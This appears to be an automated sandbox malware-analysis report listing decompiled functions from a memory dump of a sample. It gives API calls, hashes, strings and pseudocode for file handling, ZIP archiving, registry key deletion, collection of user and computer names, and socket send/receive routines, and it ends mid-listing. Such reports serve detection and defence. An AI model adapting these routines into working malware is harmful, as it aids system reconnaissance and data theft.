Opcode ID: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction ID: 88353113fceb9506f3b36d61bfde8eef9921c9a466ae1bfd82caa565229af05a
Opcode Fuzzy Hash: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction Fuzzy Hash: A2619CB49087849BD720EF65C18469EFBE0BF89348F408D2EE8D887351E7789548CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408042, Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00408094
_wfopen.MSVCRT ref: 004080AE

Part of subcall function 00407FC3: fgetpos.MSVCRT ref: 00407FE9

fgetpos.MSVCRT ref: 004080F0
fsetpos.MSVCRT ref: 00408126
malloc.MSVCRT ref: 00408132
fread.MSVCRT ref: 00408152
realloc.MSVCRT ref: 00408168
fclose.MSVCRT ref: 00408174
fclose.MSVCRT ref: 00408185

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefgetpos$ByteCharMultiWide_wfopenfreadfsetposmallocrealloc
String ID:
API String ID: 1812338015-0
Opcode ID: 9089e06318853e29848d6abf22137532cc5c9e930021d096596f87134e90177b
Instruction ID: cce78eb31c107fb340ace7c9921005f6624d878254cb06048c37cb8e28fe17a8
Opcode Fuzzy Hash: 9089e06318853e29848d6abf22137532cc5c9e930021d096596f87134e90177b
Instruction Fuzzy Hash: 6031B6B0509705ABD750AF26C68535EBBE4AF84348F01892EE8D89B281D778D54A8F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F151, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 187
stringCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0041F151() {
				int _t74;
				signed int _t86;
				intOrPtr _t108;
				signed int _t116;
				intOrPtr* _t117;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				void* _t137;
				void _t139;
				void* _t151;
				void* _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				signed int* _t161;

				_t158 = _t157 - 0x5cc;
				_t152 = _t158 + 0x71;
				_t155 =  *(_t158 + 0x5e0);
				_t74 = memset(_t152, 0, 0x105 << 0);
				_t159 = _t158 + 0xc;
				_t137 = _t159 + 0x20;
				 *((intOrPtr*)(_t159 + 0x14)) = 0;
				memset(_t158 + 0x176, _t74, 0x105 << 0);
				memset(_t137, 0, 0x14 << 2);
				_t161 = _t159 + 0x18;
				if(_t137 == 0 || _t155 == 0 || _t161[0x179] == 0) {
					L40:
					_t122 = _t121 | 0xffffffff;
				} else {
					asm("repne scasb");
					_t121 =  !0xffffffff;
					_t161[4] = 0xbadbac;
					if(0 > 0x104) {
						goto L40;
					} else {
						_t161[2] = 0;
						_t161[1] = _t155;
						 *_t161 = _t137;
						if(E0041C5A7() == 0) {
							goto L40;
						} else {
							memset( &(_t161[0xe0]), _t161[5], 0x90 << 2);
							_t161 =  &(_t161[3]);
							 *_t161 = _t152;
							_t161[1] = _t161[0x179];
							strcpy(??, ??);
							_t86 = _t161[0x2eb707];
							if(_t86 != 0x2f && _t86 != 0x5c) {
								_t161[0x2eb707] = 0x5c;
								_t161[4] =  !0xffffffff;
							}
							_t123 =  &(_t161[0x1c]);
							_t156 = 0;
							_t161[5] = _t161[0xc];
							_t161[7] = _t161[4] + _t123;
							while(_t156 != _t161[5]) {
								_t161[1] = _t156;
								_t161[2] =  &(_t161[0xe0]);
								 *_t161 =  &(_t161[8]);
								if(E0041B06A() != 0) {
									_t153 = 0;
									_t161[2] = 0x104 - _t161[4];
									_t161[1] =  &(_t161[0xef]);
									 *_t161 = _t161[7];
									strncpy(??, ??, ??);
									_t139 = _t161[0x1c];
									if((_t139 & 0xffffffdf) - 0x41 <= 0x19) {
										_t153 = 0 | _t161[0x1c] == 0x0000003a;
									}
									memset( &(_t161[0x9e]), 0, 0x105 << 0);
									_t161 =  &(_t161[3]);
									_t151 = 0;
									if(_t153 != 0) {
										_t161[0x9e] = _t139;
										_t151 = 2;
										_t161[0x9f] = _t161[0x1c];
									}
									_t161[6] = (_t153 ^ 0x00000001) & 0x00000001;
									while(1) {
										_t108 =  *((intOrPtr*)(_t123 + _t151));
										if(_t151 > 0x103 || _t108 == 0) {
											break;
										}
										if(_t108 == 0x2f || _t108 == 0x5c) {
											if(_t161[6] == 0 || _t151 <= 0) {
												if(_t151 <= 2 || _t153 == 0) {
													goto L21;
												} else {
													goto L26;
												}
											} else {
												L26:
												_t116 =  &(_t161[0x9e]);
												 *_t161 = _t116;
												L0041F7C4();
												_t117 = _t116 + 1;
												if(_t117 != 0) {
													goto L21;
												} else {
													L0041F7D4();
													if( *_t117 == 0x11) {
														goto L21;
													} else {
														goto L11;
													}
												}
											}
										} else {
											L21:
											_t151 = _t151 + 1;
											 *((char*)(_t161 + _t151 + 0x27a)) =  *((intOrPtr*)(_t123 + _t151 - 1));
											continue;
										}
										goto L39;
									}
									if((_t161[0xe2] & 0xef) != 3 || (_t161[0xeb] & 0x00000020) == 0) {
										_t154 =  &(_t161[8]);
										_t161[1] = _t156;
										 *_t161 = _t154;
										if(E0041B020() != 0) {
											goto L31;
										} else {
											_t161[3] = 0;
											_t161[2] = _t123;
											_t161[1] = _t156;
											 *_t161 = _t154;
											if(E0041C368() != 0) {
												goto L31;
											} else {
												goto L11;
											}
										}
									} else {
										L31:
										if(_t161[0x17a] != 0) {
											 *_t161 = _t123;
											_t161[1] = _t161[0x17b];
											if(_t161[0x17a]() < 0) {
												goto L11;
											} else {
												goto L37;
											}
										} else {
											L37:
											_t156 = _t156 + 1;
											continue;
										}
									}
								} else {
									L11:
									_t122 = _t123 | 0xffffffff;
								}
								L39:
								 *_t161 =  &(_t161[8]);
								if(E0041C416() == 0) {
									goto L40;
								}
								goto L41;
							}
							_t122 = 0;
							goto L39;
						}
					}
				}
				L41:
				return _t122;
			}

0x0041f15c
0x0041f162
0x0041f16d
0x0041f176
0x0041f176
0x0041f17a
0x0041f17e
0x0041f187
0x0041f194
0x0041f194
0x0041f196
0x0041f3df
0x0041f3df
0x0041f1b5
0x0041f1bf
0x0041f1cc
0x0041f1ce
0x0041f1d2
0x00000000
0x0041f1d8
0x0041f1d8
0x0041f1e0
0x0041f1e4
0x0041f1ee
0x00000000
0x0041f1f4
0x0041f206
0x0041f206
0x0041f20f
0x0041f212
0x0041f216
0x0041f21b
0x0041f221
0x0041f227
0x0041f22c
0x0041f22c
0x0041f234
0x0041f238
0x0041f23a
0x0041f244
0x0041f248
0x0041f259
0x0041f25d
0x0041f265
0x0041f26f
0x0041f282
0x0041f284
0x0041f28f
0x0041f297
0x0041f29a
0x0041f29f
0x0041f2ad
0x0041f2b9
0x0041f2b9
0x0041f2c9
0x0041f2c9
0x0041f2cb
0x0041f2cf
0x0041f2d5
0x0041f2dc
0x0041f2e1
0x0041f2e1
0x0041f2f0
0x0041f2f4
0x0041f2fa
0x0041f2fd
0x00000000
0x00000000
0x0041f305
0x0041f31e
0x0041f327
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f32d
0x0041f32d
0x0041f32d
0x0041f334
0x0041f337
0x0041f33c
0x0041f33d
0x00000000
0x0041f33f
0x0041f33f
0x0041f347
0x00000000
0x0041f349
0x00000000
0x0041f349
0x0041f347
0x0041f33d
0x0041f30b
0x0041f30b
0x0041f30b
0x0041f310
0x00000000
0x0041f310
0x00000000
0x0041f305
0x0041f35d
0x0041f375
0x0041f379
0x0041f37d
0x0041f387
0x00000000
0x0041f389
0x0041f389
0x0041f391
0x0041f395
0x0041f399
0x0041f3a3
0x00000000
0x0041f3a5
0x00000000
0x0041f3a5
0x0041f3a3
0x0041f369
0x0041f369
0x0041f371
0x0041f3b1
0x0041f3b4
0x0041f3c1
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f373
0x0041f3c7
0x0041f3c7
0x00000000
0x0041f3c7
0x0041f371
0x0041f271
0x0041f271
0x0041f271
0x0041f271
0x0041f3cf
0x0041f3d3
0x0041f3dd
0x00000000
0x00000000
0x00000000
0x0041f3dd
0x0041f3cd
0x00000000
0x0041f3cd
0x0041f1ee
0x0041f1d2
0x0041f3e2
0x0041f3ee

APIs

Part of subcall function 0041C5A7: fopen.MSVCRT ref: 0041C5C3
Part of subcall function 0041C5A7: fseek.MSVCRT ref: 0041C5E1
Part of subcall function 0041C5A7: ftell.MSVCRT ref: 0041C5ED
Part of subcall function 0041C5A7: fclose.MSVCRT ref: 0041C604

strcpy.MSVCRT ref: 0041F216
strncpy.MSVCRT ref: 0041F29A
_mkdir.MSVCRT ref: 0041F337
_errno.MSVCRT ref: 0041F33F

Strings

, xrefs: 0041F35F
:, xrefs: 0041F2B1
\, xrefs: 0041F227

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _errno_mkdirfclosefopenfseekftellstrcpystrncpy
String ID: $:$\
API String ID: 268051615-2457500751
Opcode ID: 9526ac459c02bb7793610bcab494c40ffb002977be289f00c765dc40185c480f
Instruction ID: 79c026138aa9a439cba8819bc206cad1fae7c9babfb4a3138d3d5cf70f9326d1
Opcode Fuzzy Hash: 9526ac459c02bb7793610bcab494c40ffb002977be289f00c765dc40185c480f
Instruction Fuzzy Hash: 56616E7550C7898AD7249F39C4803EFBBE1AF84304F54493FE8E883341D779898A8B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00421320, Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 164COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0042152C
_assert.MSVCRT ref: 00421551

Strings

../nettle-3.5.1/ctr16.c, xrefs: 0042151D, 00421542
length < 16, xrefs: 00421525
length - i < CTR_BUFFER_LIMIT, xrefs: 0042154A
c, xrefs: 0042153A
, xrefs: 004213B0

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: $../nettle-3.5.1/ctr16.c$c$length - i < CTR_BUFFER_LIMIT$length < 16
API String ID: 1222420520-535899598
Opcode ID: 8a585c7f6f4847e6cdab404632b1628f0989679c9260e782601c46f9716b7191
Instruction ID: 595662ab794f8c563696035dacf2dbdab12226766188b8df76e1304a900497cc
Opcode Fuzzy Hash: 8a585c7f6f4847e6cdab404632b1628f0989679c9260e782601c46f9716b7191
Instruction Fuzzy Hash: 1E71DDB5A083199FDB00EF69D48859EBBE0EF88354F01C92EF89997351C3389854CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0041086B, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32 ref: 004108D0
RegOpenKeyExA.ADVAPI32 ref: 00410900

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

RegEnumKeyExA.ADVAPI32 ref: 00410958
RegCloseKey.ADVAPI32 ref: 0041096B
RegDeleteKeyA.ADVAPI32(00000000), ref: 00410978

Strings

%s\%s, xrefs: 0041089B
@, xrefs: 0041099A

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Delete$CloseEnumOpen_vsnprintf
String ID: %s\%s$@
API String ID: 3258335120-919846355
Opcode ID: a83bb4d84008ef8ca21de6d5731c3a3071ae5acd3bc0957a5ea7271d758828c5
Instruction ID: 9d604c6237a7cde6d8c47273939e6e17ca47206dd9184e21b4ed585c08607efa
Opcode Fuzzy Hash: a83bb4d84008ef8ca21de6d5731c3a3071ae5acd3bc0957a5ea7271d758828c5
Instruction Fuzzy Hash: FB31D2F04087059EE710EF26C59839FFBE4AF84748F00891EE4D897251D3B985898F9B

Uniqueness

Uniqueness Score: -1.00%

Function 00413748, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 004130E8: GetUserNameW.ADVAPI32 ref: 00413112
Part of subcall function 004130E8: WideCharToMultiByte.KERNEL32 ref: 00413154

Part of subcall function 00413040: GetComputerNameW.KERNEL32 ref: 0041307E
Part of subcall function 00413040: WideCharToMultiByte.KERNEL32 ref: 004130C0

Part of subcall function 004134FD: GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

getenv.MSVCRT ref: 00413879
getenv.MSVCRT ref: 00413887

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

Unknown, xrefs: 004137E0
PATH, xrefs: 0041386B
WINDIR, xrefs: 0041387E
, xrefs: 00413816

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameWide$CriticalSectiongetenv$ComputerCountEnterFileLeaveModuleTickUser
String ID: $PATH$Unknown$WINDIR
API String ID: 195117172-1158625180
Opcode ID: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction ID: 88353113fceb9506f3b36d61bfde8eef9921c9a466ae1bfd82caa565229af05a
Opcode Fuzzy Hash: fb62eb59387f53985bd42543a62e6c15600361e8d5d43dfcff879b8f1a2c93cb
Instruction Fuzzy Hash: A2619CB49087849BD720EF65C18469EFBE0BF89348F408D2EE8D887351E7789548CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00420700, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420850
_assert.MSVCRT ref: 004208AD

Strings

n == 1, xrefs: 00420849
M, xrefs: 00420896
n > 0, xrefs: 004208A6
../nettle-3.5.1/memxor3.c, xrefs: 00420841, 0042089E

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor3.c$M$n == 1$n > 0
API String ID: 1222420520-17687075
Opcode ID: 389ade0749032fac037805b9abc3480a8171c3f13d13cda5c72ac285551c0497
Instruction ID: 88b4d72e3a3b074a803e33dc480ae7ecbd49f2114936249b734713bf6416a905
Opcode Fuzzy Hash: 389ade0749032fac037805b9abc3480a8171c3f13d13cda5c72ac285551c0497
Instruction Fuzzy Hash: 0951BB716083A28FC300CF28E59052BBBF1BFCA310F048A1EE69087645D335EA19CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00405D7D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00405DAD
malloc.MSVCRT ref: 00405DF8
send.WS2_32 ref: 00405E96
WSAGetLastError.WS2_32 ref: 00405EA5
LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

-, xrefs: 00405DB7

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeavemallocsend
String ID: -
API String ID: 1786834168-2547889144
Opcode ID: 772a2119c266b746b4a9d798261a1b96d186bc9b60f73d726c78d5d6e4f8f310
Instruction ID: 542a74277ee6daf56934a715b94c3cb6415021c893f49c4910618d7e1c795e3b
Opcode Fuzzy Hash: 772a2119c266b746b4a9d798261a1b96d186bc9b60f73d726c78d5d6e4f8f310
Instruction Fuzzy Hash: 8B416E70608B008FC720EF69D48461BBBE4EF85324F518A3FE994A73D1C77899458F9A

Uniqueness

Uniqueness Score: -1.00%

Function 004054AC, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00405519
send.WS2_32 ref: 004055BC
select.WS2_32 ref: 0040561A
__WSAFDIsSet.WS2_32 ref: 00405631
recv.WS2_32 ref: 00405657

Strings

Z, xrefs: 00405668

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htonsrecvselectsend
String ID: Z
API String ID: 3248711867-1505515367
Opcode ID: 7fdafd5f5f0b92cca46f8b9916048dc5279d19b1817b053ad7dd1c959cdc6263
Instruction ID: 3f3365598393d2eea2e9170436329f57a1f754e33c93ecced5829fb6f7628eb6
Opcode Fuzzy Hash: 7fdafd5f5f0b92cca46f8b9916048dc5279d19b1817b053ad7dd1c959cdc6263
Instruction Fuzzy Hash: 094117B0418744ABD321AF25C1843AFBBE4FF84758F508D2EF4D887291D7B995888B57

Uniqueness

Uniqueness Score: -1.00%

Function 0041C87B, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0041C87B(intOrPtr* _a4, signed int _a8, signed int _a12, signed int _a16, char* _a20, signed short _a24, signed int _a28, signed int _a32, signed int _a36, intOrPtr _a40) {
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v38;
				char _v42;
				char _v46;
				char _v47;
				unsigned short _v48;
				char _v49;
				char _v50;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				void _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v84;
				signed short _v86;
				signed short _v88;
				signed int _v96;
				signed short _v100;
				signed int _v104;
				signed int _v108;
				intOrPtr _v112;
				unsigned int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				intOrPtr _v212;
				signed int _v216;
				char* _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _t257;
				signed int _t259;
				signed int _t261;
				signed short _t267;
				signed int _t269;
				signed int _t277;
				signed int _t280;
				signed int _t283;
				void* _t292;
				signed int _t301;
				void* _t319;
				signed int _t330;
				signed int _t337;
				void* _t340;
				void* _t348;
				signed int _t349;
				intOrPtr _t352;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				intOrPtr _t365;
				void* _t370;
				signed int _t371;
				signed int _t385;
				intOrPtr _t391;
				signed int _t394;
				unsigned short _t399;
				signed int _t427;
				char* _t428;
				signed int _t434;
				signed int _t437;
				void* _t438;
				signed short _t439;
				signed int _t441;
				signed int _t442;
				char** _t445;
				char** _t446;
				char** _t447;

				_t445 =  &_v220;
				_t370 = _a4;
				_v88 = 0;
				_v86 = 0;
				_v128 = _a24;
				_t257 = _a28;
				_v164 = _a32;
				_v160 = _a36;
				if(_t257 < 0) {
					_t257 = 6;
				}
				_v148 = 1;
				_t434 = _t257 & 0x0000000f;
				_v108 = _t434;
				if(_t434 != 0) {
					_t385 = _t257 >> 0x0000000a & 0x00000001;
					_v148 = _t385;
				}
				if(_t370 == 0) {
					L30:
					return 0;
				} else {
					_t441 =  *(_t370 + 0x48);
					if(_t441 != 0 &&  *((intOrPtr*)(_t370 + 0x14)) == 2) {
						_v156 = _a16 != 0;
						if((_v156 & (_t385 & 0xffffff00 | _a12 == 0x00000000)) == 0 && _a8 != 0 && (_v128 == 0 || _a20 != 0) &&  *(_t370 + 0x10) != 0xffff && _v108 <= 0xa) {
							_t259 = _t257 & 0x00000400;
							_v104 = _t259;
							if(_t259 != 0) {
								__eflags = _v160;
								if(_v160 > 0) {
									goto L30;
								}
								L17:
								_t261 = E00414919(_a8);
								__eflags = _t261;
								if(_t261 == 0) {
									goto L30;
								}
								_v116 =  *_t370;
								_v112 =  *((intOrPtr*)(_t370 + 4));
								 *_t445 =  &_v60;
								L0041F6BC();
								_t371 =  &_v86;
								E00415FC6(_v60, _t371,  &_v88);
								asm("repne scasb");
								_t267 =  !(_t371 | 0xffffffff) - 1;
								__eflags = _t267 - 0xffff;
								_v132 = _t267;
								if(_t267 > 0xffff) {
									goto L30;
								}
								_t269 = E0041493A(_t370);
								__eflags =  *(_t370 + 0x10) - 0xffff;
								_t427 = _t269;
								if( *(_t370 + 0x10) == 0xffff) {
									goto L30;
								}
								_v140 = _t269;
								_v96 = 0;
								_v136 = 0;
								_v100 = _v132;
								asm("adc edx, 0x0");
								_v124 =  *_t370 + 0x4c;
								_v120 =  *((intOrPtr*)(_t370 + 4));
								asm("adc edx, [esp+0x74]");
								asm("adc edx, [esp+0x8c]");
								asm("adc edx, [esp+0x64]");
								__eflags = 0;
								if(0 > 0) {
									goto L30;
								}
								__eflags = _v132;
								_v124 = 0;
								if(_v132 == 0) {
									L26:
									_t277 = _v128 & 0x0000ffff;
									_t391 = _a4;
									_t374 = _t391 + _t277 + 0x2e + _v132;
									__eflags = _a8 - _t391 + _t277 + 0x2e + _v132;
									if(_a8 >= _t391 + _t277 + 0x2e + _v132) {
										L28:
										_t74 =  &(_a20[1]); // 0x3
										_t375 = _t74;
										__eflags = _t74 - _a24;
										if(_t74 <= _a24) {
											L31:
											__eflags = _v148;
											if(_v148 != 0) {
												L35:
												_t437 = 0;
												__eflags = 0;
												L36:
												_t428 = _t427 + 0x1e;
												 *_t445 = _t428;
												_t280 = E00414DC1(_t370, _v112, _v116, __eflags);
												__eflags = _t280;
												if(_t280 != 0) {
													asm("adc edx, [esp+0x7c]");
													_v140 = _v140 + _v116;
													_t283 =  *(_t370 + 0x20);
													_t394 =  *(_t370 + 0x24);
													__eflags = _t394 | _t283;
													if((_t394 | _t283) != 0) {
														asm("adc edx, 0xffffffff");
														__eflags = _v136 & _t394 | _v140 & _t283 + 0xffffffff;
														if((_v136 & _t394 | _v140 & _t283 + 0xffffffff) != 0) {
															_v228 = 0x1837;
															_v232 = 0x424620;
															 *_t445 = "(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0";
															L0041F7E4();
														}
													}
													asm("adc edx, [esp+0x7c]");
													_v156 =  &(_t428[_v116]);
													_v152 = 0;
													memset( &_v60, 0, 0x1e << 0);
													_t446 =  &(_t445[3]);
													_v228 = _v152;
													_v220 = _v132;
													_v224 = _a8;
													_v232 = _v156;
													 *_t446 =  *(_t370 + 0x44);
													_t292 =  *((intOrPtr*)(_t370 + 0x3c))();
													__eflags = _v132 - _t292;
													if(_v132 != _t292) {
														L49:
														_v232 = _t437;
														 *_t446 =  *(_t370 + 0x34);
														 *((intOrPtr*)(_t370 + 0x2c))();
														goto L30;
													} else {
														asm("adc edx, [esp+0x54]");
														__eflags = _v104;
														_v156 = _v100 + _v156;
														_v152 = _v96;
														if(_v104 != 0) {
															L44:
															__eflags = _v148;
															if(_v148 == 0) {
																__eflags = _a16;
																if(_a16 == 0) {
																	_v148 = 0;
																	_v144 = 0;
																	_t442 = 0;
																	__eflags = 0;
																	L53:
																	_v232 = _t437;
																	 *_t446 =  *(_t370 + 0x34);
																	 *((intOrPtr*)(_t370 + 0x2c))();
																	__eflags = _v144;
																	if(_v144 > 0) {
																		goto L30;
																	}
																	__eflags = _v152;
																	if(_v152 > 0) {
																		goto L30;
																	}
																	_t438 =  &_v60;
																	_t399 = _v86;
																	_v116 = _v88;
																	__eflags = _t442 - 1;
																	_t301 = memset(_t438, 0, 0x1e << 0);
																	_t447 =  &(_t446[3]);
																	asm("sbb eax, eax");
																	_v48 = _t399;
																	_v47 = _t399 >> 8;
																	_v60 = 0x50;
																	_v59 = 0x4b;
																	_v56 =  !_t301 & 0x00000014;
																	_v58 = 3;
																	_v52 = _t442;
																	_v57 = 4;
																	_v50 = _v116;
																	_v49 = _v116 >> 8;
																	E00414900( &_v46, _a40);
																	E00414900( &_v42, _v148);
																	E00414900( &_v38, _v164);
																	_v220 = 0x1e;
																	_v224 = _t438;
																	_v32 = 0;
																	_v31 = 0;
																	_v34 = _v132;
																	_v228 = _v136;
																	_v33 = _v132 >> 8;
																	_v232 = _v140;
																	 *_t447 =  *(_t370 + 0x44);
																	_t319 =  *((intOrPtr*)(_t370 + 0x3c))();
																	__eflags = _t319 - 0x1e;
																	if(_t319 != 0x1e) {
																		goto L30;
																	}
																	_v208 = _t442 & 0x0000ffff;
																	_v188 = _v124;
																	_v192 = _v136;
																	_v196 = _v140;
																	_v216 = _v144;
																	_v200 = _v86 & 0x0000ffff;
																	_v224 = _v160;
																	_v204 = _v88 & 0x0000ffff;
																	_v212 = _a40;
																	_v220 = _v148;
																	_v228 = _v164;
																	_v232 = _v128 & 0x0000ffff;
																	 *_t447 = _a20;
																	_t330 = E00416311(_t370, _v132 & 0x0000ffff, _a8);
																	__eflags = _t330;
																	if(_t330 == 0) {
																		goto L30;
																	}
																	_t253 = _t370 + 0x10;
																	 *_t253 =  &(1[ *(_t370 + 0x10)]);
																	__eflags =  *_t253;
																	 *_t370 = _v156;
																	 *((intOrPtr*)(_t370 + 4)) = _v152;
																	return 1;
																}
																_v228 = 0;
																_v232 = 0xfffffff1;
																_v84 = _t370;
																_v68 = 0;
																_v76 = _v156;
																_v72 = _v152;
																_v64 = 0;
																 *_t446 = _v108;
																_v224 = E0041A99E();
																_v232 = E00416018;
																 *_t446 = _t437;
																_v228 =  &_v84;
																_t337 = E0041A64C();
																__eflags = _t337;
																if(_t337 == 0) {
																	_v224 = 4;
																	 *_t446 = _t437;
																	_v228 = _a16;
																	_v232 = _a12;
																	_t340 = E0041A5F0();
																	__eflags = _t340 != 1;
																	if(_t340 != 1) {
																		goto L49;
																	}
																	_t442 = 8;
																	_v148 = _v68;
																	_v144 = _v64;
																	_v156 = _v76;
																	_v152 = _v72;
																	goto L53;
																}
																goto L49;
															}
															L45:
															_v220 = _a16;
															_v228 = _v152;
															_v224 = _a12;
															_v232 = _v156;
															 *_t446 =  *(_t370 + 0x44);
															_t348 =  *((intOrPtr*)(_t370 + 0x3c))();
															__eflags = _a16 - _t348;
															if(_a16 != _t348) {
																goto L49;
															}
															_t349 = _a16;
															_v156 = _v156 + _t349;
															asm("adc [esp+0x54], edx");
															__eflags = _v104 - 1;
															_v144 = 0;
															_v148 = _t349;
															asm("sbb ebp, ebp");
															_t442 =  !_t441 & 0x00000008;
															goto L53;
														}
														 *_t446 = 0;
														_v228 = _a16;
														_v232 = _a12;
														_t352 = E004171DA();
														__eflags = _a16 - 3;
														_a40 = _t352;
														_v160 = 0;
														_v164 = _a16;
														if(_a16 <= 3) {
															goto L45;
														}
														goto L44;
													}
												}
												_v232 = _t437;
												_v132 = _t280;
												 *_t445 =  *(_t370 + 0x34);
												 *((intOrPtr*)(_t370 + 0x2c))();
												return _v132;
											}
											__eflags = _v156;
											if(_v156 == 0) {
												goto L35;
											}
											_v228 = 0x4df40;
											_v232 = 1;
											 *_t445 =  *(_t370 + 0x34);
											_t360 =  *((intOrPtr*)(_t370 + 0x28))();
											__eflags = _t360;
											_t437 = _t360;
											if(__eflags != 0) {
												goto L36;
											}
											goto L30;
										}
										 *_t445 = 1;
										_t362 = E00416134(_t370, _t375,  &_a16);
										__eflags = _t362;
										if(_t362 != 0) {
											goto L31;
										}
										goto L30;
									}
									 *_t445 = 1;
									_t364 = E00416134(_t370, _t374, _t441);
									__eflags = _t364;
									if(_t364 == 0) {
										goto L30;
									}
									goto L28;
								}
								_t365 = _a8;
								_t439 = _v132;
								__eflags =  *((char*)(_t365 + _t439 - 1)) - 0x2f;
								if( *((char*)(_t365 + _t439 - 1)) != 0x2f) {
									goto L26;
								}
								__eflags = _v164 | _v160;
								if((_v164 | _v160) != 0) {
									goto L30;
								}
								__eflags = _v156;
								if(_v156 != 0) {
									goto L30;
								}
								_v124 = 0x10;
								goto L26;
							}
							if((_v160 | _v164) == 0) {
								goto L17;
							}
						}
					}
					goto L30;
				}
			}

0x0041c87f
0x0041c89a
0x0041c8a1
0x0041c8ab
0x0041c8b5
0x0041c8b9
0x0041c8c0
0x0041c8c4
0x0041c8ca
0x0041c8cc
0x0041c8cc
0x0041c8d3
0x0041c8db
0x0041c8de
0x0041c8e5
0x0041c8ec
0x0041c8ef
0x0041c8ef
0x0041c8f5
0x0041cb03
0x00000000
0x0041c8fb
0x0041c8fb
0x0041c900
0x0041c918
0x0041c92c
0x0041c971
0x0041c976
0x0041c97d
0x0041c98e
0x0041c993
0x00000000
0x00000000
0x0041c999
0x0041c9a0
0x0041c9a5
0x0041c9a7
0x00000000
0x00000000
0x0041c9b2
0x0041c9bd
0x0041c9c1
0x0041c9c4
0x0041c9d0
0x0041c9de
0x0041c9ef
0x0041c9f5
0x0041c9f8
0x0041c9fd
0x0041ca01
0x00000000
0x00000000
0x0041ca09
0x0041ca0e
0x0041ca15
0x0041ca17
0x00000000
0x00000000
0x0041ca1d
0x0041ca28
0x0041ca33
0x0041ca3b
0x0041ca47
0x0041ca4a
